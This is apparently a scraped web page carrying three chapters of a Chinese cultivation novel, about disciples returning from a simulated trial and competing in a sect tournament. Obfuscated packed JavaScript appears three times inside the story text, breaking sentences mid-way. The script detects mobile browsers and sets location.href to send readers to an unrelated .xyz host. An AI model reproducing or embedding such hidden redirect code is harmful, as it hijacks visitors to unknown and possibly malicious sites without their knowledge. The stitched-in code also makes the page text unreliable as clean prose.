;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……没关系的。”邓娇将视线移到师姐的身上,师姐脸上焦急地神情让她心中一暖,脸上勾起轻松的笑容,跟往常一样撒娇,“……师姐你看,我做到了,不夸夸我吗?” 然而她的声音越来越轻,连尾音都打着颤。 或许是师姐的到来让她卸掉了全部的防备,邓娇只觉得自己好累,眼皮非常沉重,眼前也变得模糊…… “你先别说话,也别闭眼,看着我——”邓娇听见师姐的声音猛地拉高,变得很慌张也很急促,抱着自己身体的力度也变大了。 啊……她多久没有见过师姐这么失态的时候了…… 邓娇迷迷糊糊地睁开眼睛,但她的眼前已经一片模糊,勉强还能辨认面前师姐的身影——但很快,她控制不住自己的眼皮又耷拉了下去。 师姐的怀抱很温暖,师姐的心脏起伏也很有规律,让她不自觉地蹭了蹭。 就睡一会吧。 邓娇觉得自己的身体很轻,轻得像鸟雀的羽毛一样随时可以被风吹起;同时又觉得自己的身体很重,重得像块巨石沉沉地坠落深不见底的悬崖。 她又觉得自己就像躺在回宗门的行船上,晃啊晃,晃得她意识慢慢飘走…… 恍惚间,她好像又听到有人在喊自己的名字,应该是师姐。除了喊她的名字,应当还说些什么,但她觉得对方的声音好像很遥远、很模糊,她有些听不清。 她想睁眼或者说些什么,让师姐别担心。 可是即使她用尽全力,还是没能睁开眼睛。她只觉得自己好累,身体好重,很想就这样休息。 就睡一会吧,她想。 邓娇靠在大师姐的怀抱里,手指动了动,眼睫轻微地颤抖着,嘴唇微微张合也没有发出任何声音,连呼吸也逐渐变得平缓。 她想告诉师姐,别担心她,她可好得很……只是有些困了。 她又想告诉师姐,等回到宗门,一定要请自己吃一顿珍馐轩——最好师哥也拿出他的珍藏,她好久没偷师哥的酒了,现在想来还有些馋了。 她还想告诉师姐,不要跟四师姐闹脾气,就看在自己的面子上各退一步,都是自家人没必要闹得那么僵…… 哦对了,还有宋璋。 她要跟宋璋道歉,明明对方才结束上个任务没多久,就又被自己抓来做这么艰难的任务,希望看在这么多年的关系上,不要揍自己——至少别当着师妹们。 啊,这么想来,她要做的事情还有些多。 ……就睡一会吧。 ——只一小会,不能让师姐太担心。 等她睡醒了,一切都来得及。 她想。 “邓娇——” 一场暴雨,一次新生。 38.阵法天才 汤穗穗也不知道自己什么时候睡着的。 她只记得自己和邓娇师姐聊得很尽兴,讲了很多这些年来发生的趣事。聊着聊着,就不知不觉地睡着了。 正如师姐对汤穗穗说的那样,不过是睡一觉的功夫。等她再睁眼的时候,就已经回到了乾坤宗的试炼殿中。 汤穗穗揉着惺忪睡眼打了个哈欠,坐直身体伸了个懒腰舒展筋骨,微微侧身就看到坐在她身旁闭目养神的师姐。 姬忘尘听到她的方向传来了声音,缓慢地睁开眼,偏头看向对方:“醒了?感觉身体有什么不适吗?” 汤穗穗闭上眼摇摇头,她现在全身乏力,只是觉得头还有一些重,不过还在可以接受的范围内。 虽然她们在拟真境中切实地度过了好几天,但回到现实之后,其实不过几个时辰的功夫。也正因如此,姬忘尘会有些担心汤穗穗出现调整不过来的情况。 随着意识逐渐回笼,拟真试炼里的那些坎坷经历就像是梦境一样,再强烈的情绪也被冲淡了不少。 汤穗穗睁开眼,感受着脑海中已经有些模糊的记忆,心中多了几分惴惴不安。她看向师姐,不确定地发问:“师姐,拟真试炼真的结束了吗?……我们最后算是顺利过关了吗?” 姬忘尘给汤穗穗倒了杯温水,将水杯塞到她的手里,柔声开口宽慰她:“师长们已经回收了我们身上的回溯镜。这次的试炼中,我们全员都没有逐出拟真镜,最后也顺利净化了洄山的魔种,应当能拿到一个不错的分数。” 按照往年的试炼评分情况,入围这次的个人赛的可能应当八九不离十。 “可惜穗穗你的境界还不够,这次参加不了最终的个人赛。不过——”姬忘尘担心汤穗穗会难过,想张嘴补充什么,却被对方打断。 “哎呀师姐,管我做什么?”得到肯定回复的汤穗穗又变得精神抖擞,笑眼弯弯地将水杯放在一边,上前抱住师姐的手臂,“我更关心师姐你能不能进而已……我担心我的表现拖累了师姐你的成绩。” “怎么会呢?”姬忘尘低头看着面前这个赔笑的面庞,伸手揉了揉她的发顶,“你最后很稳定,也做得很好……一直都没有拖累我。” “那就好!”汤穗穗被师姐夸得有些脸红,她觉得自己所做的部分无关紧要,反倒是几位师姐们出力最多。 不过,说起师姐…… 汤穗穗在殿中四处环顾,她的周围还有人闭目打坐状,估计尚未从拟真试炼中离开;有些人正互相搀扶着离开。殿堂周围坐了几位师长,随时观察大家的状况。 之前打过照面的葛长老也在,她正百无聊赖地打着哈欠。 但汤穗穗把殿内的面孔看了又看,还是没有找到熟悉的面孔,“……嗯?几位师姐呢?怎么都没有看到她们呀?” 姬忘尘将水杯放回殿内统一摆放的位置,将坐在地上的汤穗穗拉起来。关于试炼还有一条规定,完成试炼的人员不得长时间逗留在殿内,以免影响旁人试炼。 “蓝鄞醒来之后就急匆匆地往外走,不知道她要去哪里;成师姐应当是去训练了……澄澄,我猜估计去了她的机关室。” 汤穗穗跟着姬忘尘往殿外走去,自然而然地询问:“那邓娇师姐她们呢?” 提及邓娇,姬忘尘还有些犹豫。她下意识错开了汤穗穗期盼的视线,不知道该不该将真相开口。 汤穗穗捕捉到师姐不自然地神情,心也不自觉地沉了下来:“……怎么了,师姐?” 她心中好像有一些预感,但是一时半刻又说不出那是一股什么感受。 姬忘尘眨了眨眼,对上对方黝黑的眼眸:“……要听真话吗?” “要。”汤穗穗想也不想地开口。 不管最后是什么回答,她也听到最真实的那一个。 “……如果我说,邓娇前辈她,”姬忘尘吸了口气,克制着情绪,平缓地开口,“……已经死去了很多年呢?” 她企图不带任何情绪陈述,但还是控制不住声音里的颤抖。 离开拟真境之前,她还和对方长谈。那时对方所说的话如石子投入湖面、惊起一层层涟漪,不断冲击着她的心房,直到现在还不能平复。 她甚至在想,小师舅死去的那时,倘若邓娇前辈还活着……自己是不是就不会对这件事耿耿于怀这么久? 不过那都是设想,过去的事情也无法更改。 姬忘尘偏头看向身旁的汤穗穗,对方听完自己话语之后一直沉默着,心脏剧烈的跳动着。她不确定汤穗穗对对方抱着怎样的情感;也不确定听完之后会有怎么样的反应——她不确定自己是否做出了合适的选择。 她紧紧地看着汤穗穗的脸,试图抓住她脸上的任何一瞬变化。 而汤穗穗则是被这则重大的消息一下子砸蒙了,她茫然地眨了眨眼,努力地理解着这句话的意思。 她怎么都没有想到,拟真境所谓的基于真实,竟然就是邓娇一行人的洄山之行。 一时之间,她分不清何为真实,何为虚假——当时是所遇到的她们,算是真实存在的吗? “是她,也不是她。”姬忘尘听到汤穗穗无意识地发问,柔声解释,“那是被回溯镜记录下来的她,虽然并不是真实的她,但拟真境所构建的她则与真实别无二致。” 邓娇她们身上的回溯镜将时间锁在了那个时候,而拟真境又根据回溯镜重新捏造了当时的环境,所复现出来的她们都与真实无异。 她们既是真实的,同时也是虚假的。 汤穗穗心中百感交集,似懂非懂地点点头。 原来隔着时空相遇的,不仅仅是立石村,还有当时的一行人。 鬼使神差的,她将对方的姓氏、和那天晚上偷听到姚师舅和师傅谈话时,曾经提到过一个“以身阻拦魔兽的邓师妹”联系起来。 她被自己的猜测惊得瞪大了双眼,咽下口水,不可置信地抬头看向师姐:“……她就是那时候姚师舅曾经提到的……那个‘邓师妹’吗?” “……是。” 果然。 得到肯定答案的汤穗穗艰难地将“邓师妹”的事迹和这几天相处的邓娇画上等号。 怪不得,最后邓娇师姐会缠着她询问那么多关于师傅的事情…… 怪不得,师姐一直只是喊对方前辈。 “那最后立石村……”汤穗穗嘴唇张了又合,既然对方早已身陨,那当时的立石村结局又是如何呢? “当年……”姬忘尘垂眸,将当时跟邓娇说的话和汤穗穗复述,这也是她所知道的部分。 姬忘尘在很久之后才回到宗门,等她知道故人的往事时又过去了很久。虽然她和邓娇的交集并不算多,但当时听闻这个消息的时候,依旧被惊得晃了神。 她不知道该怎么将这些前辈的事情跟师傅转述,好在师傅也从未过问。 “那其他人也会遇到邓娇师姐吗?” 提问打断了姬忘尘陷在其中的情绪,她回神摇摇头:“或许是她们来之前,也或许是她们来之后,一切皆有可能。” 拟真境会以当时的事件为蓝本,不同的队伍将随机进入任何一个时间点,最后会走上哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544924|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条路,达成什么样的结局,完全看所作出的选择。 汤穗穗抿了抿嘴,从得知这个消息之后,她的脑海乱成一团麻,心中更是闷得难受。 恰在此时,一缕阳光落在了她的指尖。她下意识往周围看去,原来不知不觉间,两人离开试炼殿后又走了很远,走到了阳光肆意倾洒的地方。 “这几天是自由安排的时间,还有些人未从拟真境中离开。在最终结果公布之前,只要在宗门里,不管去哪里、做什么都可以。”姬忘尘也跟着她停下脚步,照例询问,“要休息一会吗?” “师姐要去哪里吗?”汤穗穗摇摇头:“我想跟着你。” “也行。我要去藏经阁。”姬忘尘脚下换了个方向,汤穗穗也跟上师姐的脚步。 但刚往外走了几步,姬忘尘想了想,犹豫着开口:“其实不必为了邓娇前辈惋惜。对她来说,能够救下当时的百姓,就已经足够了。” 她还记得当时对方连说的两句“那就好”,和那时脸上坦然的神情,还有那句“你们是活在现在的人,要往前看”。 姬忘尘自私地揣测,她们应当是了无遗憾的。 姬忘尘带着汤穗穗来到藏经阁,这是一栋五层建筑的楼房。里面放置了乾坤宗从建立到现在的所有书籍,有修炼的心法、也有武器的招式秘籍、还有阵法、机关等等。 姬忘尘当时找到宋璋学习阵法并非假话。她知道自己在阵法上的弊端,正好有这个机会,也就请教这个前辈为自己指点迷津。虽然宋璋她们只是被拟真境捏到的影像,但是却和真实的她们别无二致。 拟真境中的宋璋传授给姬忘尘的,也是真实的阵法知识。不仅如此,她还记得当时对方提到了几本阵法相关的书籍,也就因此萌生了来藏经阁找寻的念头。 没想到在藏经阁中,她们遇见了意料之外的人——蓝师姐抱着几本书籍正好和她们面对面相遇。 姬忘尘眼尖,撇到对方怀中的书籍正是自己要搜寻的那几本。 蓝鄞留意到对方的眼神,不自在地摸了摸鼻子,挑了挑眉压低声音瞪回去:“怎么,你也想看?还不是迟我一步。” 姬忘尘摇摇头,很大度地开口:“我等你看完就是了。” 蓝鄞撇了撇嘴,没有搭话。她垂眸将其中一本更基础的阵法详解抽出来,递给姬忘尘:“我可没有针对你,不用谢。” 姬忘尘接过书籍,还未开口,蓝鄞抱着书往房中提供阅读的木桌走去。 “这里的功法书籍有很多,包括楼上也是,你可以慢慢找。”姬忘尘想了想,将手里的书籍递给汤穗穗,“或者说,你想看这本?” “不用——”汤穗穗下意识地拒绝,但当看到书籍中夹了一些纸条,还是没忍住好奇心。她接过后顺着书页翻开,映入眼帘的是一行行娟秀整齐的字迹。 字迹的书写习惯十分鲜明,极具个人特色,只要看过一次就绝对忘不了。这张夹在其中的纸笺十分有条理,阐述着书页对应阵法的优缺点,及建议的改良方向。 字迹的主人她们方才都有过交集,正是拟真境中的宋璋师姐。意识到这一点,汤穗穗握着书籍的手不自觉地颤抖,呼吸无意识加重,莫名的情绪涌上心头。 不仅是汤穗穗,姬忘尘也认了出来,低声呢喃:“竟然是她啊……” 宋璋,或许就是当年那个昙花一现的阵法天才。 这个认知虽在意料之外,但也在情理之中。 正因为宋璋对阵法一直有着深刻的研究,加上邓娇曾经提及过她身上的天赋,都让这个结论顺理成章。 39.功法与话本 最终,汤穗穗还是按下复杂的心情将阵法的书籍合上,还给姬忘尘,并摇了摇头。虽然她对阵法也很感兴趣,但在拟真试炼钟她也发现了自己心法上的不足,想着找机会可以查漏补缺。 她将心法上的困惑描述给师姐,对方建议她上三楼找找,那里有比较系统的关于心法上的书籍,或许对她有所帮助。 汤穗穗点点头,独自一人上藏经阁的三楼。楼上的布置和一楼有些许不同,除了一楼留出了一半的位置放置阅读的桌椅,其余楼层都只有整齐地摆放书籍的书架。 她在这些书架中穿梭,找寻着心法相关的,但先看到的反而是关于机关零件的书籍。这让她想起了痴迷机关的唐澄澄。 当时对方将她拉到机关室,介绍机关的神情生动浮现在她的脑海中,让她不自觉也对机关术萌生好奇,也就顺手取下其中一本翻开。 她手中这本机关术的书籍并非山下印刷的版本,而是由某位前辈亲手誊抄,书籍的扉页还留下了端正的“扬”字,或许正是这位前辈的名姓。 汤穗穗简单翻看了几页,忍不住皱眉后仰着身体将书籍合上,塞回到书架上。虽然前辈的字迹干净整洁、条理清楚,但对于她这样一窍不通的人,其中的内容过于深奥,就像天书看两眼让人发困。 果然机关术不是什么人都能学会的。 汤穗穗绕开这几列书架,终于找到了心法相关的书籍。她根据自己目前的水平,几番挑选过后,选择了几本相对基础的讲解书籍,拿着它们便走下一楼。 本来想在藏经阁里阅读的,但无奈一楼的阅读桌已经坐满了人。而两位师姐都正看得专心,她也不想去打扰她们,打算自己自寻去处。 汤穗穗和师姐打过招呼之后,就抱着书籍离开了藏经阁。 从藏经阁回去的路上正好经过寻常训练的平台,汤穗穗看到了被成洱压着训练的唐澄澄。 面露菜色的唐澄澄看到汤穗穗的一瞬间,就像看到救命恩人一般,朝对方飞扑了过来:“穗穗好巧你也在这里——” “嗯。”汤穗穗被唐澄澄撞得后退了几步才稳住身形,她撇向朝她们走过来的成师姐,“大度”地将对方扶稳,“既然成师姐有心教导你,那你就得好好学习,别浪费了师姐的一番苦心。” “瞧你俩的脸色,就好像我是什么洪水猛兽似得,避之不及。”成洱看到两人的模样,笑着摇摇头,“穗穗要不要也来练练?” 想起成洱师姐的恶魔训练,汤穗穗连忙摆手拒绝,展示了手中的几本书籍:“我想还是先巩固巩固心法。” 成洱点点头,也认可对方的选择。 汤穗穗和唐澄澄虽然同为筑基期,但两者的情况截然相反。比起武艺上的提升,初入门的汤穗穗心法上还比较薄弱。 “哎呀!”听到对方提起书籍,唐澄澄想起了自己放在机关室的几本书,一拍脑袋,“我都忘了我上次从藏经阁拿了几本书,看完了还没还回去。” 汤穗穗想起了方才看到的机关术相关的书籍:“是那位扬前辈的书籍吗?我刚刚翻看了两眼,发现什么都看不懂。” “你也对机关术感兴趣?”唐澄澄有些讶异。 当看到对方手上的书籍马上反应过来,心法相关与机关术相关放置的位置比较靠近,汤穗穗翻看到也是在所难免。 “感兴趣是感兴趣,”汤穗穗面露难色,想起刚才翻看的天书部分,忍不住抱怨道,“我可不像你,我看两眼就快睡过去了。里面每一个字我都认识,但是连在一起我就完全读不懂是什么意思。” 汤穗穗的反应让唐澄澄忍不住捧腹大笑起来。 “哈哈哈哈哈哈……扬前辈的书籍是他个人钻研的部分,所以相对晦涩难懂一些。如果真的感兴趣的话,我可以给你几本更浅显易懂的。”说到机关术,唐澄澄热情洋溢地跟汤穗穗介绍起来,一扫方才的疲态。 虽然自己对机关术一窍不通,但听到唐澄澄这般介绍,汤穗穗也动了学习的心思。 汤穗穗撇了一眼站在一旁的成师姐,对方双手抱胸饶有兴趣地听着。成师姐和自己对视后,挑了挑眉,笑而不语。 她马上接收到对方眼神中的信号。 “书籍的事到时候再说,现在嘛——”汤穗穗将唐澄澄转了个身,面向成师姐:“你最要做呢,还是跟成师姐好好巩固武艺才是!” 说完她转身就跑,充耳不闻身后唐澄澄的“哀嚎”。 和两人告辞之后,汤穗穗转身没想到看到了不远处的姚师舅,身旁还跟着上回偶遇的狐裘青年。汤穗穗对他有印象,当时她刚上山去找赵师姨的时候,曾经和这个人打过照面,当时他就跟在姚师舅和陈长老身边。 因为好奇对方的来历,汤穗穗眼珠子转了转,决定过去旁敲侧击一下。 “姚师舅!”汤穗穗扬着笑脸,乖巧地跑过去跟对方问好,眼神飘到他身边,不着痕迹地打量站在他身旁的狐裘青年。 狐裘青年与姚师舅身高相当,脸上带着温和的笑意,额角不明显的地方留有一道陈年的伤疤。不过因为山上的温度比山下要低许多,两次见面对方都裹着厚重的披风。 估计没有灵力护体,寻常百姓也不能适应山上的温度。 虽然自己的年纪看起来比他小很多,但是他依旧礼数齐全,礼貌地开口问候:“小道长好。” “穗穗这是要去哪里?”姚师舅也笑着回应汤穗穗,“刚结束的拟真试炼还适应吗?” 这些天他有额外的工作,并没有参与到拟真试炼监督,正因此汤穗穗那时候没在试炼殿见到对方。 “这个嘛……哈哈……”对方提起拟真试炼,汤穗穗生硬地笑了笑,下意识避开对方的视线。当她看到自己手里的书时,也顺便开口将话题转移,“——我刚从藏经阁出来,姚师舅你们呢?你们这是要去哪里?” “我们?我……”姚师舅佯装没看出对方不自然的神情,接上她的话题,但却在介绍身边人时卡了壳,一时之间不知如何开口。 身旁的狐裘青年主动接上话茬:“在下姜祀,受人所托特来贵宗拜访。姜长老正巧要带在下去几日后比试的擂台处,小道长可愿同行?” 汤穗穗坦诚地摇摇头。 她已经知道地方在哪,再加上现在也没开始比赛,心里提不起太大的兴致,就直接拒绝了。 既然她没有兴致,那姚成也不会勉强。离开前,姚师舅顺势问起了对方个人赛的准备,“怎么样,对个人赛有信心吗?” 虽然筑基期不能参加正式的个人赛,但可以参加新秀赛。新秀赛也是给同一境界的选手互相切磋的相对正式的比赛,最后也有获得一定的奖励。 “我会尽力的。”虽然具体奖励还未公布,但汤穗穗也想好好对待这样一次正式较量的机会。 她鲜少能有这种和同龄人比试的 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既然拟真试炼已经结束,离个人赛也还有几天,汤穗穗想着并不急在这一时刻,心中也忍不住松懈了几分。 汤穗穗趴在床上,美滋滋地翻看着当时的其中一本话本,心中感叹道:果然话本就是比心法好看! 与其说是话本,不如说是一本特殊的游记。虽然是是凭空捏造的世界,但作者极尽精彩的笔墨描绘了其中的风土人情,让汤穗穗忍不住沉浸其中,流连忘返,直到姬忘尘回来时也没有发觉。 姬忘尘一进门就看见趴在床上,开心跷着腿的少女,想起对方离开时的豪言壮语,不免失笑。 她蹑手蹑脚地走过去,弯腰在床边轻声开口:“……原来你说学习心法,是要学习异世界的心法。” 毫无防备的汤穗穗果不其然被姬忘尘吓了一大跳,整个人从床上弹射起身,支支吾吾地解释:“我……不是……” “没事,你慢慢看。”姬忘尘走到桌边坐下,脸上的笑容未散,给两人都倒了杯水,她并不是想训斥汤穗穗或是别的,只是觉得汤穗穗此时的反应格外有意思。 “师姐……”自知理亏的汤穗穗从床上爬起来,小步小步地挪到桌边。 虽然师姐的表情并不像生气,但她还是十分心虚,小心翼翼地抬头观察对方的反应。 “我并不反对你看话本,不过我还是希望你能先专注于某件事。”姬忘尘看着对方乖巧的模样,忍不住说教了几句,“看话本也是可以的,想学习心法也是可以的,但不要两样杂糅在一起,这样一心二用并不好。” “我知道了。” 汤穗穗认真反思师姐所提出的问题,她将话本看完之后,便认认真真地学习心法弥补自己的不足。 也在这几天休憩的时间里,其他小组成员也陆续完成了拟真训练。长老们从各小组的完成情况进行等级评定,优选的小组成员获得下一轮个人赛的资格。 也正如姬忘尘所推测的,她们小组的三位师姐都以不低的评分,顺理成章地获得了个人赛的名额。 除去正式争夺名次的个人赛和同一境界的新秀赛,宗门还有任意成员上擂台挑战的擂台赛。有些人想要夺得最好的名次,有些人想要拿到最后的奖品,有些人只是想在擂台上证明自己…… 总之,在紧锣密鼓的氛围中,众人期待已久的个人赛终于正式拉开序幕。 40.个人赛 汤穗穗抱着宗门统一提供的木剑,站在了擂台上,望着自己的对手紧张地咽下口水,心脏紧张得砰砰直跳,握着木剑的掌心只冒汗。 站在她对面的是一个年纪相仿、身形比她更健硕的少年,向她抱拳行礼:“请赐教。” 汤穗穗学着对方的姿势回应,还点了点头。 “双方选手准备——开始!” 负责裁判的长老话音刚落,双方的眼神马上变化,进入了战斗时的防备状态。她们境界相当,手中的武器均为宗门木剑,并无高低之分。 对方先发制人,握紧木剑直直朝她逼来,而汤穗穗顺势握剑回挡,压着对方的长剑变换了角度。少年收剑回身,挥剑往汤穗穗的下盘扫去。她随即回拦,转身执剑单脚飞踢,将对方逼退…… 几个来回下来,虽未能分出胜负,但双方都对彼此的水平有一定的了解。汤穗穗身法更为灵活,但总想着以巧取胜,反被对方抓到把柄,步步紧逼,逼得汤穗穗险些乱了阵脚。 现在两人执剑各居一方僵持,正好给了她时间调整气息,顺便思考接下来的进攻方向。她自然也清楚自己的弱点,这是她的第一场比试,她不想输。 她有弱点,对方同样也有。 少年的力量虽然比要大上一些,但招式变换还不太顺畅,好几次被她抓到漏洞,但又因为她的大意而错过。几番思索,汤穗穗还是决定从对方的弱点下手。 找准了方向后,她不想再耽误,率先快步上前、矮身将手中的长剑送出,打得对方一个措手不及。当对方格挡后,她又顺势收剑飞踢,转身往另一个方向攻去。 她以快速的攻击扰乱对方的判断,对方为了躲避连退几步,反而再次给了她进攻的机会。 她将手中的长剑甩出,做了几个虚假的进攻动作后,双手握住剑柄又朝对方接连劈砍,打乱对方的步伐。 果然如汤穗穗所料,对方的步伐一乱,就完全错失了两人比试的节奏。即使他还想努力跟上节奏,却只能被动地进行防御,再不能抓住攻击的时机,转守为攻。 最终少年遗憾败于汤穗穗的木剑之下。 汤穗穗就这样有惊无险地结束了自己的第一场比试。作为胜者,下一场比试将安排在一个时辰之后。 “……你果然很厉害,就跟姬师姐一样。”对方即使落败,也坦荡地接受了自己的结局。他对自己的能力很有自知之明,只希望落败的时候不要丢脸。 因为上次宗门大比的出色成绩,姬忘尘成了是宗门里的传说人物。听闻这次她还带了一位小师妹回宗时,众人更是好奇这位小师妹的能力如何,是否也和姬忘尘一样是个武艺高强之辈。 少年与汤穗穗一样,也是第一次参加宗门大比。而当他得知自己第一轮就要和这个小师妹对上时,心中更是忐忑不安,生怕自己在擂台上被一招致胜。 不过好在,这场比试下来也算和对方打得有来有回,不至于彻底失了面子。 “你也不差。”汤穗穗伸手将对方拉起来,脸上满是得意地神情,“但比我,确实差了不少。——还得再练。” 少年抱拳应承着,又说了几句夸奖的话,汤穗穗差点又被吹捧得飘飘然起来。 不过她很快摆正了自己的心态,好奇师姐那边的情况。趁现在还有些空闲时间,她索性跑到师姐那边的正式赛观战。 和她这样的新秀赛相比,师姐那边的正式个人赛才算是动真格。参加正式赛的选手所用的都是自己趁手的武器,甚至不拘泥于武艺上的比试,可以用灵气附在武器上攻击,更考验心法的娴熟程度。 不过还是会对阵法的使用有所限制,避免判断不出双方的真正实力。 汤穗穗来到正式赛的会场时,擂台周围已经是围了一圈又一圈的人。 还好擂台设计比地面高上几层,并且设置了空间压缩的阵法。对于台上的选手来说,她们有足够的空间,可以尽情发挥出自己最大的实力,同时不需要担心自己的招式会伤害到围观的同门。 眼看挤不进人群,汤穗穗索性在人群外挑了个好角度。周围不至于拥挤,但也不至于看不清台上人的动作。 “小道长?”身旁传来一道有些耳熟、略带笑意的声音,“好巧啊。” 汤穗穗转头望去,身旁站着的正是上回那个自称姜祀的青年。不过对方这次好像是独身一人,周围并未发现姚师舅或者其他长老的身影。 她有些疑惑,不确定对方出现在这里是否恰当。 姜祀看出她眼中的疑惑,拢了拢身上的披风,笑着说:“我只是觉得在人群中会更热闹些,小道长放心。” 姜祀的位置被安排在长老附近,确实没有擂台周围这样的气氛。 汤穗穗点了点头,还想说些什么。只见对方伸手扯了扯她的衣袖,用另一只手指了指擂台提醒道:“小道长,比试要开始了。” 汤穗穗连忙回神往台上看去,没想到这一轮参与比试的竟然正是自己的师姐姬忘尘。虽然她的距离看不清对方脸上的神情,但依她对师姐的了解,现在她应当还是那一副惯常的冷静模样。 万众瞩目之下,姬忘尘泰然自若地走上擂台,周围许多人认出了她,更好奇这一轮两人的表现。 “姬忘尘,久仰。”她的对手比她早了一步到来,挑了挑眉笑着说:“上次没能和你对上,还真是遗憾。” “好巧。”姬忘尘也记得对方。一柄柔韧的长鞭在她手中恍如自生灵智,极难对付。只不过上回的比试两人正好在某一轮错过,没能交上手。 姬忘尘记得对方,对方自然记得姬忘尘。她上回只在台下欣赏过姬忘尘的姿态,这几年一直勤学苦练,将姬忘尘作为自己的挑战目标。 没想到今年的第一轮倒是圆了彼此的心愿。 “这一次,换你止步于这里。”长鞭师姐对姬忘尘挑衅道。她从来都学不会掩饰自己的野心,即使对方是去年的胜者。 在她心中,是胜者那又如何? 一次胜者,不代表永远都是胜者。 “是吗?”姬忘尘不置可否,敛了神色握紧了手中的弯刀,措辞礼貌但毫不留情,“那你注定要失望了。” 两人对自己的能力都十分自信,大大方方地展现自己必胜的决心。 随着比试正式开始,两人几乎同时调用灵气附在武器上,毫不留情地往对方甩去。两人的身影灵活地在擂台上穿梭,速度之快几乎只留下两道青色的身影不断碰撞着。长鞭破空的声音、长鞭与弯刀碰撞的声音连续不断,无一不表现这场比试的激烈程度。 即使作为旁观者远远地围观着,汤穗穗依旧被这些声音惊得冷汗直冒。 以往知道师姐很强,都是借助旁人的一面之词。现如今,当她真的看到两人的比试时,才对自己的师姐有了更直观的认知。 当她听到人群中止不住的赞叹声、喝彩声、叫好声时,心中更是与有荣焉。 “师姐好厉害!”汤穗穗也忍不住赞叹出口。 “……是啊,真的好厉害。”身旁人轻声呢喃,惹得她不自觉地回头,却看到对方眼眸中有遮掩不住的艳羡。 ……他在羡慕什么呢? 是作为凡人的他,在羡慕她们可以调用灵气吗?还是在羡慕两位师姐的身法利落呢? 还没等汤穗穗细想,人群中的欢呼将她的思绪再次拉回擂台之上。只见长鞭在对面师姐的操纵下,灵活地锁定着姬忘尘的动作,几乎预判了她的每一个动作。又因为长鞭的攻势,握着双刀的姬忘尘几乎近不了对方的身侧——单方面的防守对她无疑是极大的劣势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557841|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即使是汤穗穗这样的外行人都能看得出来,长鞭师姐的技巧纯熟,长鞭破空的声音更是震慑十足。 不过,对方所操纵的长鞭让汤穗穗想起洄山的那两条魔蛇。她忍不住猜想,和魔蛇斗争过的师姐应当在这一场比试中占据优势。 正如汤穗穗所料,姬忘尘也庆幸自己在洄山有过和魔蛇交手的经验,此刻更是格外得心应手。 她的对手确实很强,但是姬忘尘这些年也依旧在进步。 只见她将手中双刀合成环刃,直直往对方空缺处甩去。环刃穿过长鞭的束缚直直劈向长鞭师姐,逼得对方不得不收起动作,改攻击为防守。她趁这个机会将环刃再次拆成双刀,朝对方的身侧刺去。 也正是得益于洄山的交战经验,姬忘尘和对方最终又了十几个来回后,她踩着长鞭将弯刀刺出,悬在对方脖子前方一寸。 至此,两人的对决也分出了胜负。 听着裁判长老宣布胜者,姬忘尘也从对方的长鞭跳下,落到地面抱拳开口:“承让了。” 然而两人都知道,“承让”一词不过是客套说法。方才的比试中,两人都进行了一番酣畅淋漓的对决,甚是过瘾。 “你确实很强,也很有能力,是我棋差一着。”她的对手收回长鞭,抖了抖有些发麻的手臂,输得心服口服,“你等着,下次一定是我赢。” 即使这次落败,也不代表从今以后就不会成功,长鞭师姐一直抱着这样的信念。 随着比赛的结束,周围的人潮也慢慢散开,聚集到另一场比赛的擂台周围。姬忘尘也看到人潮末尾的汤穗穗,她抬步往对方所站的位置走过去。 汤穗穗也看到了师姐往自己走过来的身影,下意识往周围看去,却发现不知何时,方才站在身边的人已经不见了踪影。 “在找谁?”姬忘尘看着汤穗穗左顾右盼的脑袋,也好奇地看过去,没有看到任何熟悉的人影。 汤穗穗将姜祀的身份一五一十地转述给师姐。不过比起对方的去向,汤穗穗还是更关心师姐:“师姐师姐,我刚刚看了你的比试,你太厉害了吧!” 姬忘尘和她对视,望着对方的亮闪闪的眼睛,压不住脸上的喜悦。她清了清嗓子,伸手摸摸对方的头,想起了对方的第一场比试:“我也看了你的,很精彩。后面转变进攻的举措你做得很好。” “我才哪到哪啊!”虽然嘴上这么说,但是汤穗穗听到师姐的夸奖之后,还是笑弯了眉眼。嘴上说着谦虚的话,但如果她身后有尾巴的话,估计现在已经翘得老高了。 看着她的模样,姬忘尘无奈地笑着摇摇头。和汤穗穗在一起,她都觉得自己活泼了不少。 在此之前,她都不知道自己竟然是个爱笑的性格。 虽然汤穗穗在赛场上表现得可圈可点,但姬忘尘还是很关心她能不能适应这样的比赛:“还适应吗?这场个人赛和你预想中,有差别吗?” “难度肯定是有的,一开始确实很紧张。”汤穗穗诚实地点点头又摇摇头,“但其实说白了,也只是一场比试而已,不管什么样的结果我都能接受!” 姬忘尘本想说些什么,但她在人群中发现了一个人影。想起对方对于试炼的态度,她想了想,还是提出了这个选择:“……倘若你不想参赛也是可以的,并非没有先例。” “哎?”汤穗穗从来没想过竟然可以不参赛,她疑惑地瞪圆了眼睛。 姬忘尘望着那个人影站定在原地,没有说话也没有动作。汤穗穗沿着师姐的视线望去,发现姜祀又和姚师舅站在一起,正有说有笑。 